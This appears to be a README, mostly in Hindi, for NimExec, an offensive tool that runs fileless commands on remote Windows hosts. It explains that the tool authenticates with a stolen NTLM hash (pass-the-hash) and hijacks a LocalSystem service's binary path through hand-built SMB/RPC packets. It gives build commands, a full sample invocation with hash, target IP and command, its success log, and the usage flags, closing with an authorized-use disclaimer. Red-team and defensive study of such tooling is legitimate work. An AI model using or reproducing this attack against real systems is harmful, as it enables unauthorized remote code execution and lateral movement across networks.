
Nim में लेटरल मूवमेंट के लिए फाइललेस कमांड निष्पादन
मूलतः, NimExec एक फ़ाइलरहित रिमोट कमांड निष्पादन उपकरण है जो सर्विस कंट्रोल मैनेजर रिमोट प्रोटोकॉल (MS-SCMR) का उपयोग करता है। यह LocalSystem द्वारा चलाए जाने वाले किसी यादृच्छिक या दिए गए सेवा के बाइनरी पथ को बदलता है ताकि लक्ष्य पर दिए गए कमांड को निष्पादित किया जा सके और बाद में WinAPI कॉल के बजाय हाथ से तैयार किए गए RPC पैकेट के माध्यम से इसे पुनर्स्थापित करता है। यह इन पैकेटों को SMB2 और svcctl नामित पाइप पर भेजता है।
NimExec को लक्ष्य मशीन पर प्रमाणित करने के लिए NTLM हैश की आवश्यकता होती है और फिर हाथ से तैयार किए गए पैकेट पर NTLM प्रमाणीकरण विधि के साथ इस प्रमाणीकरण प्रक्रिया को पूरा करता है।
चूंकि सभी आवश्यक नेटवर्क पैकेट मैन्युअल रूप से तैयार किए गए हैं और कोई ऑपरेटिंग सिस्टम-विशिष्ट फ़ंक्शन का उपयोग नहीं किया गया है, इसलिए NimExec का उपयोग Nim के क्रॉस-कंपाइलेबिलिटी समर्थन का उपयोग करके विभिन्न ऑपरेटिंग सिस्टमों में किया जा सकता है।
यह प्रोजेक्ट Julio के SharpNoPSExec उपकरण से प्रेरित था। आप सोच सकते हैं कि NimExec SharpNoPSExec का क्रॉस कंपाइलेबल और बिल्ट-इन Pass the Hash समर्थित संस्करण है। साथ ही, मैंने Kevin Robertson के Invoke-SMBExec स्क्रिप्ट से आवश्यक नेटवर्क पैकेट संरचनाएँ सीखीं।
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
यह Ubuntu 20.04 और Windows 10 मशीनों से Windows 10 और 11, Windows Server 16, 19 और 22 पर परीक्षण किया गया है।
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.**
-p | --password <Password> Plaintext password.**
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
केवल अधिकृत सुरक्षा परीक्षण के लिए। इस उपकरण का स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध दुरुपयोग अवैध है।